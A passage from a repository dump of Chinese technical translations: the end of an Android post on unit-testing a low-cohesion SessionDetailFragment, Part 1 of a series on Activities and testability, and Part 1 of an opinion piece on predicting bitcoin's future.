collapsing toolbar requires a minimum height to enable\n    // the status bar scrim feature; set 1px. When there is no image, this would leave\n    // a 1px gap so we offset with a negative margin.\n    ((ViewGroup.MarginLayoutParams) mCollapsingToolbar.getLayoutParams()).topMargin = -1;\n  }\n\n  tryExecuteDeferredUiOperations();\n\n  // Handle Keynote as a special case, where the user cannot remove it\n  // from the schedule (it is auto added to schedule on sync)\n  mShowFab = (AccountUtils.hasActiveAccount(getContext()) && !data.isKeynote());\n  mAddScheduleFab.setVisibility(mShowFab ? View.VISIBLE : View.INVISIBLE);\n\n  displayTags(data);\n\n  if (!data.isKeynote()) {\n    showInScheduleDeferred(data.isInSchedule());\n  }\n\n  if (!TextUtils.isEmpty(data.getSessionAbstract())) {\n    UIUtils.setTextMaybeHtml(mAbstract, data.getSessionAbstract());\n    mAbstract.setVisibility(View.VISIBLE);\n  } else {\n    mAbstract.setVisibility(View.GONE);\n  }\n\n  // Build requirements section\n  final View requirementsBlock = getActivity().findViewById(R.id.session_requirements_block);\n  final String sessionRequirements = data.getRequirements();\n  if (!TextUtils.isEmpty(sessionRequirements)) {\n    UIUtils.setTextMaybeHtml(mRequirements, sessionRequirements);\n    requirementsBlock.setVisibility(View.VISIBLE);\n  } else {\n    requirementsBlock.setVisibility(View.GONE);\n  }\n\n  final ViewGroup relatedVideosBlock =\n      (ViewGroup) getActivity().findViewById(R.id.related_videos_block);\n  relatedVideosBlock.setVisibility(View.GONE);\n\n  updateEmptyView(data);\n\n  updateTimeBasedUi(data);\n\n  if (data.getLiveStreamVideoWatched()) {\n    mPhotoView.setColorFilter(getContext().getResources().getColor(R.color.played_video_tint));\n    mWatchVideo.setText(getString(R.string.session_replay));\n  }\n\n  if (data.hasLiveStream()) {\n    mWatchVideo.setOnClickListener(new View.OnClickListener() {\n      @Override public void onClick(View v) {\n        String videoId =\n            YouTubeUtils.getVideoIdFromSessionData(data.getYouTubeUrl(), data.getLiveStreamId());\n        YouTubeUtils.showYouTubeVideo(videoId, getActivity());\n      }\n    });\n  }\n\n  fireAnalyticsScreenView(data.getSessionTitle());\n\n  mTimeHintUpdaterRunnable = new Runnable() {\n    @Override public void run() {\n      if (getActivity() == null) {\n        // Do not post a delayed message if the activity is detached.\n        return;\n      }\n      updateTimeBasedUi(data);\n      mHandler.postDelayed(mTimeHintUpdaterRunnable,\n          SessionDetailConstants.TIME_HINT_UPDATE_INTERVAL);\n    }\n  };\n  mHandler.postDelayed(mTimeHintUpdaterRunnable,\n      SessionDetailConstants.TIME_HINT_UPDATE_INTERVAL);\n\n  if (!mHasEnterTransition) {\n    // No enter transition so update UI manually\n    enterTransitionFinished();\n  }\n\n  if (BuildConfig.ENABLE_EXTENDED_SESSION_URL && data.shouldShowExtendedSessionLink()) {\n    mExtendedSessionUrl = data.getExtendedSessionUrl();\n    if (!TextUtils.isEmpty(mExtendedSessionUrl)) {\n      mExtended.setText(R.string.description_extended);\n      mExtended.setVisibility(View.VISIBLE);\n\n      mExtended.setClickable(true);\n      mExtended.setOnClickListener(new View.OnClickListener() {\n        @Override public void onClick(final View v) {\n          sendUserAction(SessionDetailUserActionEnum.EXTENDED, null);\n        }\n      });\n    }\n  }\n}\n```\n\n我知道这很可怕。但振作起来。让我们把目光聚焦在这几行代码上：\n\n```\nprivate void displaySessionData(final SessionDetailModel data) {\n  //...\n\n  // Handle Keynote as a special case, where the user cannot remove it\n  // from the schedule (it is auto added to schedule on sync)\n  mShowFab =  (AccountUtils.hasActiveAccount(getContext()) && !data.isKeynote());\n  mAddScheduleFab.setVisibility(mShowFab ? View.VISIBLE : View.INVISIBLE);\n\n  //...\n\n  if (!data.isKeynote()) {\n    showInScheduleDeferred(data.isInSchedule());\n  }\n\n  //...\n}\n```\n\n很有趣。看起来我们遇到了一条业务规则：\n\n> 与会者不能把主题演讲环节从日程中删除。\n\n看起来这条规则有一条对应的展示逻辑：如果我们在展示主题演讲环节，我们将不提供把它添加到日程中，或从日程中删除的功能。否则，我们就提供上述功能。哦……而且，如果这个环节是在与会者的日程中，把它显示出来。\n\n这个方法名，`showInScheduleDeferred` 实际上是一个谎言。哪怕你调用了它，你也不会看见一个添加或删除非主题演讲环节的 FAB。撒谎的方法比长方法更可怕。你不会看见 FAB 的原因是另一条业务规则：\n\n> 与会者不能添加或删除已经过去的环节。\n\n这些代码在 `updateTimeBasedUi`中：\n\n```\nprivate void updateTimeBasedUi(SessionDetailModel data) {\n  //...\n  // If the session is done, hide the FAB, and show the \"Give feedback\" card.\n  if (data.isSessionReadyForFeedback()) {\n    mShowFab = false;\n    mAddScheduleFab.setVisibility(View.GONE);\n    if (!data.hasFeedback()\n        && data.isInScheduleWhenSessionFirstLoaded()\n        && !sDismissedFeedbackCard.contains(data.getSessionId())) {\n      showGiveFeedbackCard(data);\n    }\n  }\n}\n```\n\n如果你在会议开始前看一看该环节的细节，你将会看见“添加到日程”的 FAB：\n\n![“添加到日程” FAB 现在可见](https://www.philosophicalhacker.com/images/session-detail-with-fab.png)\n\n所以，我们现在得到了一条相当复杂的业务规则：\n\n> 只有在一个环节不是主题演讲环节，并且它还没有过去时，与会者才可以在日程中添加或删除这个环节。\n\n当然，我们希望我们的显示逻辑反映这条规则。这意味着我们只在和这条规则一致的情况下添加或删除一个环节。如果我们显示了一个 FAB，用户点击了它，但是应用却说——或许是用一个 `Dialog` 或者一个 `Toast` —— “不！你不能移除主题演讲环节！”，那就太傻了。\n\n### 失败的测试尝试 ###\n\n我们看看是否能为这个展示逻辑写几个测试。记住，我[上一次](https://juejin.im/entry/58bc1d51128fe1006447531e)曾说，我的想法是：测试将会告诉我们一些关于设计的事情。如果一个类易于测试，它就设计得好。当我在写测试时，我将以我认为的最简单的方式去写。我在最简单的基础上修改得越多，我就越怀疑正在测试的类。\n```\npublic class SessionDetailFragmentTest {\n\n  @Test public void displayDataOnlyProvidesAddRemoveSessionAffordanceIfSessionIsNotKeynote() throws Exception {\n    // Arrange\n    SessionDetailFragment sessionDetailFragment = new SessionDetailFragment();\n    final SessionDetailModel sessionDetailModel = mock(SessionDetailModel.class);\n    when(sessionDetailModel.isKeynote()).thenReturn(true);\n    // Act\n    sessionDetailFragment.displayData(sessionDetailModel,\n        SessionDetailModel.SessionDetailQueryEnum.SESSIONS);\n    // Assert\n    final View addScheduleButton =\n        sessionDetailFragment.getView().findViewById(R.id.add_schedule_button);\n    assertTrue(addScheduleButton.getVisibility() == View.INVISIBLE);\n  }\n}\n\n```\n\n这是我能想到的最简单的测试。现在已经有了一些问题，因为 `displaySessionData` 是一个 private 方法，所以我们必须通过public `SessionDetailFragment.displayData` 方法间接测试它。看起来不那么傻逼。不幸的是，我们运行它时，将会得到这个结果：\n\n```\njava.lang.NullPointerException\n\tat com.google.samples.apps.iosched.session.SessionDetailFragment.displaySessionData(SessionDetailFragment.java:396)\n\tat com.google.samples.apps.iosched.session.SessionDetailFragment.displayData(SessionDetailFragment.java:292)\n\tat com.google.samples.apps.iosched.session.SessionDetailFragmentTest.displayDataOnlyProvidesAddRemoveSessionAffordanceIfSessionIsNotKeynote(SessionDetailFragmentTest.java:19)\n```\n\n这个测试抱怨说 `SessionDetailFragment.mTitleView` 是 null。唉。这个错误很烦人，因为  `SessionDetailFragment.mTitleView` **和这个测试没有关系**。看起来我必须增加一个 `onActivityCreated` 方法来确定这些 `View` 被初始化了：\n\n```\n@Test public void displayDataOnlyProvidesAddRemoveSessionAffordanceIfSessionIsNotKeynote()\n      throws Exception {\n    // Arrange\n    SessionDetailFragment sessionDetailFragment = new SessionDetailFragment();\n    final SessionDetailModel sessionDetailModel = mock(SessionDetailModel.class);\n    when(sessionDetailModel.isKeynote()).thenReturn(false);\n    // Act\n    sessionDetailFragment.onActivityCreated(null);\n    sessionDetailFragment.displayData(sessionDetailModel,\n        SessionDetailModel.SessionDetailQueryEnum.SESSIONS);\n    // Assert\n    final View addScheduleButton =\n        sessionDetailFragment.getView().findViewById(R.id.add_schedule_button);\n    assertTrue(addScheduleButton.getVisibility() == View.INVISIBLE);\n  }\n\n```\n\n如果我们运行这个测试，会得到另一个错误：\n\n```\njava.lang.NullPointerException\n\tat com.google.samples.apps.iosched.session.SessionDetailFragment.initPresenter(SessionDetailFragment.java:260)\n\tat com.google.samples.apps.iosched.session.SessionDetailFragment.onActivityCreated(SessionDetailFragment.java:177)\n\tat com.google.samples.apps.iosched.session.SessionDetailFragmentTest.displayDataOnlyProvidesAddRemoveSessionAffordanceIfSessionIsNotKeynote(SessionDetailFragmentTest.java:20)\n```\n\n这一次，这个抱怨基本上可以归结于 `getActivity()` 返回 null。现在，我们也许会调用 `onAttach` 并传入一个哑 `Activity` 来避免这种情况。或者，我们也许会发现，哪怕我们这样做了，也还要做很多别的事来设置这个测试。这些事情**和我们感兴趣的内容没有任何关系**。\n\n到这一步，我们也许会放弃，并选择 roboelectric。[我曾经说过](https://www.philosophicalhacker.com/post/why-i-dont-use-roboletric/)，我感觉使用 roboelectric 是一个错的选择。测试正试图告诉我们一些关于代码的事情。我们不需要修改我们测试的方式。我们需要修改编码的方式。\n\n\n在放弃之前，先考虑一下正在发生的事情。我们对测试一小段行为感兴趣，但类设计的方式迫使我们关心很多**和我们测试的内容没有关系**的其他对象。这意味着我们的代码是低内聚的，我们的类有很多互相没有太大关系的方法和对象。这使得完成测试的设置步骤非常复杂；这也使得让我们的对象难以进入可以真正运行测试的状态。\n\n据我们所知，低内聚并不只关于可测试性。低内聚的类难以理解和改变。这个我们尝试了但没有写出来的测试，印证了我们已经本能地知道的事情：超过 900 行的 `SessionDetailFragment` 是一个巨兽，它需要被重构。\n\n\n也许更有争议的是，如果我们听从测试的建议，并首先把它们写出来，我认为我们将最终发现我们根本不需要一个 `Fragment` 。事实上，我认为，我们很少会发现 `Fragment` 是理想的用于实现功能的组件。一次只讨论一个观点吧。先完成这篇帖子。我们将会在合适的时间回到这个有趣的争论的。\n\n\n\n### 总结 ###\n\n\n\n我们刚刚看见，为类写一个测试可以告诉我们：目标类是低内聚的。`SessionDetailFragment` 可能是一个特别明显的低内聚类的例子，但 TDD 可以帮助我们发现更加隐蔽的低内聚类。在本文中，目标类是一个 `Fragment`，但如果你坚持写一段时间的测试，你会发现同样的事情对 `Activity` 也成立。\n\n\n在下一篇帖子中，我们将看一看测试的难度如何给我们提供新的见解：`SessionDetailFragment` 是高耦合的。我们将测试驱动同样的功能，并展示所得的设计是怎样高内聚和低耦合的。\n\n\n"
  },
  {
    "path": "TODO/what-unit-tests-are-trying-to-tell-us-about-activities-pt1.md",
    "content": "> * 原文地址：[What Unit Tests are Trying to Tell us about Activities: Pt. 1](https://www.philosophicalhacker.com/post/what-unit-tests-are-trying-to-tell-us-about-activities-pt1/)\n> * 原文作者：[Philosophical Hacker](https://www.philosophicalhacker.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者： [tanglie1993](https://github.com/tanglie1993)\n> * 校对者：[yunshuipiao](https://github.com/yunshuipiao), [skyar2009](https://github.com/skyar2009)\n\n![](https://www.philosophicalhacker.com/images/broken-brick.jpg)\n\n# 单元测试试图告诉我们关于 Activity 的什么事情：第一部分\n\n`Activity` 和 `Fragment`，可能是因为一些[奇怪的历史巧合](/post/why-android-testing-is-so-hard-historical-edition/)，从 Android 推出之时起就被视为构建 Android 应用的**最佳**构件。我们把这种想法——`Activity` 和 `Fragment` 是应用的最佳构件——称为“android-centric”架构。\n\n本系列博文是关于 android-centric 架构的可测试性和其它问题之间的联系的，而这些问题正导致 Android 开发者们排斥这种架构。这些博文也涉及单元测试怎样试图告诉我们：`Activity` 和 `Fragment` 不是应用的最佳构件，因为它们迫使我们写出**高耦合**和**低内聚**的代码。\n\n在本系列文章的第一部分，我想介绍一点 android-centric 架构之所以统治了这么久的原因。另外，我认为单元测试可以为摒弃 android-centric 架构提供有价值的见解。我在第一部分中也将提供一点与之相关的背景。\n\n### 什么是 Android-Centric 架构？\n\n在 android-centric 架构中，用户看见的每一个屏幕都**最终**基于一个主要用于和 Android 操作系统交互的类。我们接下来将发现，Diane Hackborne 和 Chet Haase 最近都表示 `Activity` 就是这样的类。因为 `Fragment` 和 `Activity` 非常相似，我认为一个每个屏幕都基于 `Fragment` 的应用也属于 android-centric 架构，哪怕这个应用只有一个 `Activity`。\n\n目前，MVP 和 VIPER 和 RIBLETS 等在 Android 社区中都很火。然而，这些建议并不**必然**完全排斥 android-centric 架构。虽然可能涉及 `Presenter` 或 `Interactors` 或其它的东西，这些对象仍是被建筑在 `Activity` 或 `Fragment` 之上的；它们仍然可以被 android-centric 组件实例化或者被委派给这些组件，每个组件对应一个用户看见的屏幕。\n\n一个不遵循 android-centric 架构的应用有一个 `Activity` 并且没有 `Fragment`。Router 和 Controller 类型的类都是 POJOs。\n\n### 为什么是 Android-Centric 架构？\n\n我怀疑我们采用 android-centric 架构的一部分原因是 Google 直到不久以前才搞清楚 `Activity` 和 `Fragment` 是什么。在比 Android 文档更不正规和更不明显的渠道中，[Chet Haase](https://medium.com/google-developers/developing-for-android-vii-the-rules-framework-concerns-d0210e52eee3#.1o25pxfat) 和 [Diane Hackborne](https://plus.google.com/+DianneHackborn/posts/FXCCYxepsDU) 都表示 `Activity` 并不是人们想要用来构建应用的东西。\n\nHackborne 是这样说的：\n> …从它的 Java 语言 API 和相当高层的概念来看，它像是一个典型的应用框架，用于指示应用应当如何工作。但就大部分情况而言，它不是。\n> \n> 大概把 Android API 称为“系统框架”会更合适。大多数情况下，我们提供的平台 API 是用于定义一个应用如何与操作系统互动的；但对于任何从纯粹在应用内部运行的东西而言，这些 API 和它并没有什么关系。\n\n而 Haase 是这样说的：\n\n> 应用组件（activities, services, providers, receivers）是用于和操作系统互动的接口；不推荐把它们作为架构整个应用的核心。\n\nHackborne 和 Haase 几乎明确地反对 android-centric 架构。我说“几乎”，因为看起来他们并不反对把 `Fragment` 作为我们应用的构件。然而，尽管“ `Activity` 不是应用的合适组件”和“ `Fragment` 是应用的合适组件”两种观点之间存在着冲突，这两种组件仍然是有很多共同点的。\n\n似乎可以说：Google 通过以前的 [Google I/O 应用样例](https://github.com/google/iosched) 和官方文档建议人们使用 android-centric 架构。Android  文档的“应用组件”一节是一个很好的例子。 [本节介绍](https://developer.android.com/guide/components/index.html) 告诉读者，他们将会学到“如何建造构成你的应用的**基本组件**（包括 `Activity` 和 `Fragment`）”。\n\n在过去几年中，很多 Android 开发者 —— 包括我自己 —— 开始意识到 `Activity` 和 `Fragment` 通常并不是他们应用的有用的构件。包括 [Square](https://medium.com/square-corner-blog/advocating-against-android-fragments-81fd0b462c97)，[Lyft](https://eng.lyft.com/building-single-activity-apps-using-scoop-763d4271b41#.mshtjz99n) 和 [Uber](https://eng.uber.com/new-rider-app/) 在内的一些公司都正在远离  android-centric 架构。两种常见的抱怨是：随着应用不断变得更加复杂，代码变得**难以理解**以及**在处理多种用例时过于死板**。\n\n### 测试和它有什么关系？\n\n*Growing Object Oriented Software Guided by Tests* 中的内容很好地解释了可测试性和容易理解、灵活的代码之间的关系：\n\n> 要想让一个类易于单元测试，这个类必须低耦合高内聚 —— 换句话说，设计得好。\n\n耦合和内聚直接影响了你的代码的可读性和灵活性。所以如果这句话是对的而且 `Activity` 和 `Fragment` 很难进行单元测试（即使你没有看过[我的](/post/why-we-should-stop-putting-logic-in-activities/) [帖子](https://www.philosophicalhacker.com/2015/04/17/why-android-unit-testing-is-so-hard-pt-1/) 也很可能知道这一点），那么单元测试就可以告诉我们 `Activity` 和 `Fragment` 并不是理想的用于构建应用的组件。这样，我们就可以在 Google 告诉我们之前，也在痛苦的开发经验之前，发现这个结论。\n\n### 下一次…\n\n在下一篇帖子中，我将尝试对 `Activity` 写一个测试。这个测试将会失败，以显示低内聚高耦合的 `Activity` 使测试变得多么困难。接下来，我将用测试驱动同一个功能的实现，最终得到可测试的代码。在接下来的帖子中，我将说明所得到的代码是高内聚低耦合的，并讨论其带来的一些好处 —— 如何对 Android 常见问题提出新的解决办法，比如运行时权限，不稳定的连接等。\n"
  },
  {
    "path": "TODO/what-will-bitcoin-look-like-in-twenty-years-1.md",
    "content": "> * 原文地址：[What Will Bitcoin Look Like in Twenty Years? - Part 1](https://hackernoon.com/what-will-bitcoin-look-like-in-twenty-years-7e75481a798c)\n> * 原文作者：[Daniel Jeffries](https://hackernoon.com/@dan.jeffries?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-1.md](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-1.md)\n> * 译者：[ZiXYu](https://github.com/ZiXYu)\n> * 校对者：[Raoul1996](https://github.com/Raoul1996) [atuooo](https://github.com/atuooo)\n\n- [What Will Bitcoin Look Like in Twenty Years? - Part 1](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-1.md)\n- [What Will Bitcoin Look Like in Twenty Years? - Part 2](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-2.md)\n- [What Will Bitcoin Look Like in Twenty Years? - Part 3](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-3.md)\n\n# 20 年后比特币将会变成什么样 - 第一部分\n\n![](https://cdn-images-1.medium.com/max/2000/1*9cntgSCQQES9fogbSwWIoQ.jpeg)\n\n预测向来是一件很棘手的事。\n\n预测错误很容易，但想预测对就太难了。\n\n但这正是我们将要做的事。**随着比特币的白皮书发布十周年即将来临，我将尝试着去展望 20 年后比特币、区块链、其它的数字加密货币和去中心化的发展情况。**\n\n这种类型的文章是那种很多年后看，要么是令人难以置信的愚蠢要么就是令人难以置信的卓越。\n\n可是我并不在乎，因此我仍然要把它写下来。\n\n同时，我也将分析得比“比特币将会清零”或者“比特币将变成储备货币，价值一百万美元”更深入得多。这真的并不是说每个人都能做到的。\n\n相反，我们将着眼于科技如何转变，同时社会将随着它如何转变。\n\n我曾经写过一篇不错的[未来趋势和科技成功预测的跟踪记录](https://hackernoon.com/steal-this-idea-and-make-a-billion-dollars-ai-video-game-accelerator-cards-cf5f09fd84e8)，但是没有人做到 100% 正确。有史以来最伟大的科幻作家之一亚瑟·C·克莱克 (C. Clarke)，预见了[卫星和 GPS](https://gizmodo.com/5597169/arthur-c-clarke-wrote-a-letter-predicting-gps-and-satellite-tv-in-1956)的出现，同时也预见了[云计算、互联网和远程办公](https://www.wired.com/2013/03/tech-time-warp-arthur-c-clarke/)，但是他也承认了他过高的估计了火箭的重要性，并忽略了一家公司送给他用来写下一步小说的样板笔记本电脑的重要性。\n\n![](https://cdn-images-1.medium.com/max/600/1*atKKENKEpjOeoEodiqmIlQ.jpeg)\n\n**卡俄斯-混沌**由[洛伦佐·洛托](https://en.wikipedia.org/wiki/Lorenzo_Lotto \"Lorenzo Lotto\")(Lorenzo Lotto)设计，目前存放于自意大利[贝加莫](https://en.wikipedia.org/wiki/Santa_Maria_Maggiore,_Bergamo \"Santa Maria Maggiore, Bergamo\")的[圣母玛利亚教堂](https://en.wikipedia.org/wiki/Bergamo \"Bergamo\")。\n\n混沌理论告诉了我们预测未来是不可能的。\n\n但这也不是完全正确的。\n\n我们的确预测不了[黑天鹅事件](http://www.investopedia.com/terms/b/blackswan.asp)或者完全意料不到的科技(就像尝试向一个 18 世纪的农民解释什么叫电脑和网络)，但是我们可以对明天做一些类似于[蒙特卡洛计算](https://medium.com/applied-data-science/alphago-zero-explained-in-one-diagram-365f5abf67e0)然后来观察主要的发展途径向无尽延伸的轨迹。\n\n很少有人能把它做好。\n\n事实上，在提出我们的预测之前，绝大多数的人眼中预测的未来都是错到令人发笑的，我们需要知道为什么会导致这种现象来规避犯同样的错误。\n\n### 这个互联网的问题永远不会被解决\n\n人们对于未来有如此误解的第一个原因是，**他们在形成对某件事物的观点前只花了五分钟来了解它。**\n\n这并不能谓之思考。\n\n![](https://cdn-images-1.medium.com/max/600/1*mqWuBxoBp30DSZE3K5Az1w.jpeg)\n\n霍默(译者注：辛普森一家中的 Homer)的大脑。\n\n这是一种精神启发式的[原始蜥蜴大脑](https://www.psychologytoday.com/blog/where-addiction-meets-your-brain/201404/your-lizard-brain)，永远无法理解任何新颖的事物和小说。它只擅长攻击、防守、寻找事物和避难所同时避免无聊。它只不过是一个生存机器。\n\n不幸的是，很多人在他们几乎整个生命中都保持在这个思想水平上，当在思考未来的趋势和发展时，他们的想法没有任何价值。\n\n**第二个主要原因是未来可能会颠覆他们对世界的理解。**想想一个类似于柯达的公司，[他们只是简单的拒绝去接受数字胶片的能力](http://mashable.com/2012/01/20/kodak-digital-missteps/#nAgI.6uueiq7)，因为他们已经在化学胶片上花费了超过一百年来建立了一个商业帝国。他们拥有一切优势，但是却失败了。他们错误的把过去当做了未来，所以当市场呼啸而过时，他们付出了破产如此惨痛的代价。**要预测未来，你必须能够立于自身之外，忘记你过往的成功同时展望你当前理解之外的事。**\n\n第三个主要原因是**未来挑战了他们所拥有的权力地位**。这就是为什么[寡头银行家杰米·戴蒙](https://www.cnbc.com/2017/09/12/jpmorgan-ceo-jamie-dimon-raises-flag-on-trading-revenue-sees-20-percent-fall-for-the-third-quarter.html)和一个[上个月刚刚允许女性驾驶汽车的国家王子](https://stepfeed.com/saudi-prince-alwaleed-suggests-bitcoin-is-a-fraud-9965)，都把比特币和数字加密货币看做是一种“欺诈”或“骗局”。\n\n他们的确无法清晰的看待这个问题，因为他们就是当前货币系统的主要受益人。他们_拒绝_接受。所以他们发起了一系列信息战争，甚至是无意识的。这不过是一种精神防御机制。管理世界的新机制崛起意味着他们的地位正在遭受威胁，而他们感到害怕。\n\n**跟这些人讨论比特币就像问一个出租车司机对 Uber 的看法，或者问一个马车制造商对汽车的看法。他们的意见是没有任何参考价值的。**\n\n第四个主要原因是**人们提出预测的时候往往错误的把自己的观点当做了现实**。你眼中的世界和真实的世界往往不是同一件事。一个是地图而另一个是实际的领土。不要错把地图当做了领土。\n\n参考这篇现在[并不著名的1995 年由克利福德·托尔斯(Cliford Stoll)在新闻周刊(Newsweek)发布的文章表示互联网是一个彻头彻尾的失败](https://thenextweb.com/shareables/2010/02/27/newsweek-1995-buy-books-newspapers-straight-intenet-uh/)即将面临崩溃。斯托尔写道：\n\n> “有远见的人看到了远程办公，互动图书馆和多媒体教室的未来。他们在谈论电子镇会议和虚拟社区。贸易和商业将从办公室和商场转移到互联网和调制解调器上。而数字网络的高自由度也让政府变得更加民主。**Baloney。** ” [强调我的]\n\n![](https://cdn-images-1.medium.com/max/600/1*PYrosZSb4J7IlZt2iisTiw.jpeg)\n\n克利福德·托尔斯：在柏拉图的洞穴隐喻中，我只能看到自己想法的影子。\n\n读读这段引用的话，不因为巨大的优越感而开怀大笑是不可能的事。真是个傻瓜！谁看不到互联网时代即将到来？\n\n答案是：几乎没有人。\n\n事后是 20/20。\n\n我敢打赌几乎每个看不到互联网时代到来的人都会大声嘲笑这个可怜人，甚至如果他们一开始就知道互联网到底是什么。如果他们这么做了，他们基本上肯定也看不到维基百科的工作，远程办公的兴起和他们将会在亚马逊上买包括书本到杂货所有东西的那一天。\n\n事实上上面这段引用最引人注目的地方，不是它有**多不正确**，而是它在很多层面上有**多么正确**。\n\n这就对了。\n\n读这篇文章的时候，你会发现他的很多观点是令人难以置信的！\n\n如果你回头看看并分析托尔斯的所有观点，呈现出来的一副有关互联网此后二十年发展令人难以置信而清晰的画卷。看看这个：\n\n> “尼古拉斯·尼葛洛庞帝(Nicholas Negroponte)，MIT 多媒体实验室的导师，预测在很短的时间内我们就将直接从互联网购买书和报纸。”\n\n天空飘来三个字： “呃，当然。”\n\n**斯托尔看到了未来，但是他拒绝去接受。**如果他设法走出他自己的观点并只观察而不是解释或者过滤他所见的，那么他写的那篇文章就会成为世上最前瞻且最准确的一篇预测文章。这就引出了下一个原因。\n\n第五个原因是**完全缺乏耐心**。\n\n\n在斯托尔文章的开头，他写道：\n\n> “在互联网上线的二十年之后，我感到困惑。”\n\n斯托尔已经活过了有互联网的二十年，但是它只是没有如他所期望的一般发展。这很容易想到，这些事情在之后的二十年里也不会发生。\n\n等待是最难的部分。让事情自然地发展更需要耐心。\n\n**耐心，耐心，耐心。**\n\n创造力需要挫败和失败以及巨大的坚韧。一旦你把自己的想法暴露在充满了腐蚀、重力和摩擦的现实里，事情往往会崩溃。没有一个计划能在联系敌对方后幸存。现实是个磨刀石，要么粉碎你的想法，要么磨砺你的想法。\n\n**事情需要时间。**\n\n[George de Mestral，魔术贴的发明者](https://en.wikipedia.org/wiki/George_de_Mestral)，展现了一个真实创造过程的经典案例和这个过程所需要花费的时间。\n\n在 1941 年，他带着狗在树林中散步，发现有一堆小木刺黏在了他的皮肤上，因此他有了这个想法。但是之后七年，这个想法并没有完全根植在他脑海里。1948 年他才开始重新创造小钩子，然后又花费了他十年的时间来实现这个想法并批量生产这个产品。\n\n在五十世纪后期他创立了他的公司后，他期望能有一个市场直接给他一个超高的需求反馈。\n\n可这并没有发生。\n\n![](https://cdn-images-1.medium.com/max/600/1*or-pwzRKL_XVU7dx78vYUw.jpeg)\n\n在二十世纪六十年代，它又花了五年的时间在新兴太空计划中将魔术贴作为了一个解决宇航员在庞大而笨重的宇航服中进出的解决方案。剩余的_世界只关注了魔术贴可以为他们解决某个问题_而并不会关注到问题背后的想法和意识形态。很快，滑雪产业就注意到了它，并把它应用在了滑雪靴上。\n\n总而言之，从最初的想法到可运作能盈利的业务？\n\n大约有 25 年内的时间。\n\n最后，在我提出对加密货币的预测之前，我们可以从斯托尔身上学到更多的一个教训。\n\n**他最大的错误也是最后一个错误是人们对未来一无所知。他采取了现在的发明，将它们推进并把它们想象成未来为题的解决方案。大错特错！**\n\n当前的发明是为了解决当前的问题。未来的问题将会有全新的解决方案。\n\n斯托尔在文章中提到 电子书永远都无法取代真实的书本。他是对的，在一个蹩脚的 CRT 屏幕上折磨自己的视网膜是个惨痛的经历。**但是理解可以帮我们理解未来解决方案的重要特征。**\n\n**要了解这些解决方案将采取何种形式是不可能的，但是我们可以找到未来解决方案的特征，**以此来分辨它。\n\n让我们来看看它是如何工作的：\n\nCD 很笨重。当时的显示器很笨重而且难以阅读。会损伤眼睛。电脑很大难以携带。甚至笔记本电脑也是一块会压断你腿的板砖，没人愿意在这样的机器上读东西。\n\n但是他同样没有考虑到实体书的短处。\n\n实体书也很重。它们是用树木制成的！它们很容易就因为种种原因被损坏或者遗失。在能够携带更巨大的重量之前，你只能携带这么多东西。\n\n从这里我们看到一个好的解决方案应该具有的特性有：\n\n- 超级便携和轻量。\n- 清晰的显示。\n- 对用户完全隐藏数据存储。\n- 像一本书一样容易使用。只要打开然后阅读。\n- 能够在遗失或损坏的时候保护数据，我们可以恢复数据而不用重新购买。\n- 允许用户在同一时间携带很多本书。\n\n![](https://cdn-images-1.medium.com/max/600/1*_7YYhBGDeZ9T5v6Zj4sLmQ.jpeg)\n\n[The Kindle](http://amzn.to/2ygQ92Z) 提高了阅读体验甚至增加了防水功能，比传统书本更加好。新的解决方案**必须提供同样的特性加上新增的更好的特性**来取代它。\n\n当然我们现在知道了答案：Kindle 和 iPad。\n\n它们都很易用，完全隐藏了存储介质，保护了备份数据同时它们也能保护眼睛。\n\n**解决方案都从认识缺陷的地方开始，对如何解决提出正确的问题，同时正确的定义我们需要什么属性来获得更好的体验。**\n\n从以上的分析可知，我们有三个法则来帮助我们预测未来：\n\n1. **耐心。**\n2. **观察，而不是打扰。**\n3. **不要把今天的解决方案嫁接到未来的问题上。**\n\n好的，那么让我们打破水晶球，来看看比特币和加密货币的命运吧。\n\n希望我们能比斯托尔运气好点，这篇文章也不要被明天的某某人评论为傻瓜。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/what-will-bitcoin-look-like-in-twenty-years-2.md",
    "content": "> * 原文地址：[What Will Bitcoin Look Like in Twenty Years? - Part 2](https://hackernoon.com/what-will-bitcoin-look-like-in-twenty-years-7e75481a798c)\n> * 原文作者：[Daniel Jeffries](https://hackernoon.com/@dan.jeffries?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-2.md)\n> * 译者：[pcdack](https://github.com/pcdack)\n> * 校对者：[Raoul1996](https://github.com/Raoul1996), [foxxnuaa](https://github.com/foxxnuaa)\n\n- [What Will Bitcoin Look Like in Twenty Years? - Part 1](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-1.md)\n- [What Will Bitcoin Look Like in Twenty Years? - Part 2](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-2.md)\n- [What Will Bitcoin Look Like in Twenty Years? - Part 